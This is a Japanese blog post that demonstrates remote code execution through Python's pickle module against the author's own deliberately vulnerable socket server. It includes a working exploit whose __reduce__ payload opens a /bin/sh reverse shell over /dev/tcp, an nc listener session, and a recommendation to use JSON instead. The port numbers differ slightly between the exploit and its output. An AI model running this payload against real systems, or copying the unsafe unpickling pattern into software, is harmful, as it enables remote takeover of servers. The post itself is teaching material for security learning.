Pythonの外部入力をunpickle化することによる脆弱性を検証した

背景

@inaz2氏のツイートでこの脆弱性を知り、exploitを書くに至った。

unpickleによる脆弱性

Pythonには、listやdictなどのオブジェクトをバイトストリームに変換するためのpickleという標準モジュールがあり、オブジェクトをバイトストリームに変換することをpickle化、バイトストリームからオブジェクトに変換することをunpickle化という。
このライブラリはセキュリティを考慮しておらず、どんなデータに対してもコンストラクタを実行してしまうので、外部からの入力をunpickle化すると脆弱性となってしまう。

公式ドキュメントにも次のように書かれている。

pickle モジュールはエラーや不正に生成されたデータに対するセキュリティを
考慮していません。
信頼できない、あるいは認証されていないソースから受信したデータを 
unpickle してはいけません。


また、実際に以下のような脆弱性の実例があった。
JVNDB-2015-002286 - JVN iPedia - 脆弱性対策情報データベース
JVNDB-2014-007928 - JVN iPedia - 脆弱性対策情報データベース

自作ソケットサーバーのシェルを取ってみる

外部入力をunpickleすることによる脆弱性を含んだ自作ソケットサーバーに対してexploitを実行しシェルを取る。
cPickleはc言語で書くことによって高速化されたpickleモジュールであり、ほぼpickleモジュールと動作は同一である。

ソケットサーバーのコード

#! /usr/local/bin/python2.7
# coding: UTF-8

import cPickle
import SocketServer


class TCPServer(SocketServer.TCPServer):

    def __init__(self, server_address, RequestHandlerClass):
        SocketServer.TCPServer.__init__(self, server_address, RequestHandlerClass)


class VulnerableTCPHandler(SocketServer.BaseRequestHandler):

    def handle(self):
        self.request.sendall('connected\n')

        self.received = self.request.recv(1024).strip()
        print('Received:{0}\n'.format(self.received))

        self.result = cPickle.loads(self.received)
        self.request.sendall('Server received')
        print('Sent: Server received\n')


if __name__ == "__main__":

    HOST, PORT = "localhost", 9999
    print('Vulnerable server starts...')
    print('Host:    {0}'.format(HOST))
    print('Port:    {0}'.format(PORT))

    server = TCPServer((HOST, PORT), VulnerableTCPHandler)
    server.serve_forever()

exploitのコード

unpickle化された時にreverse shellを行うコマンドを実行するデータを送信するexploitを書いた。reverse shellとは、リモートで待ち受けている先に接続しに行くシェルのことである。__reduce__メソッドを用いて、unpickle化時にどのような文字列またはタプルを返すかを定義している。

#!/usr/bin/env python2.7
# coding: UTF-8

import cPickle
import socket
import os


class GetShell(object):
    def __reduce__(self):
        return (os.system, ('/bin/sh </dev/tcp/localhost/50001 >&0 2>&0',))


payload = cPickle.dumps(GetShell())

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect(('localhost', 9999))

print soc.recv(1024)

soc.send(payload)

print soc.recv(1024)

実行例

起動したソケットサーバーにpayloadを送り込む。

$ python vulnpicklepayload.py
connected
$ python vulnpickleserver.py 
Vulnerable server starts...
Host:    localhost
Port:    9999
Received:cposix
system
p1
(S'/bin/sh </dev/tcp/localhost/50000 >&0 2>&0'
p2
tp3
Rp4
.

サーバーからシェルが接続してくるのをncで待ち受ける。

$ nc -l 50000
ls
vulnpicklepayload.py
vulnpickleserver.py

pwd
/Users/tkmru/document/code

exit

シェルをリモートから操作できるようになった。

対策

外部入力をシリアライズするときにpickleを用いず、JSONを代わりに用いることで この脆弱性は消せる。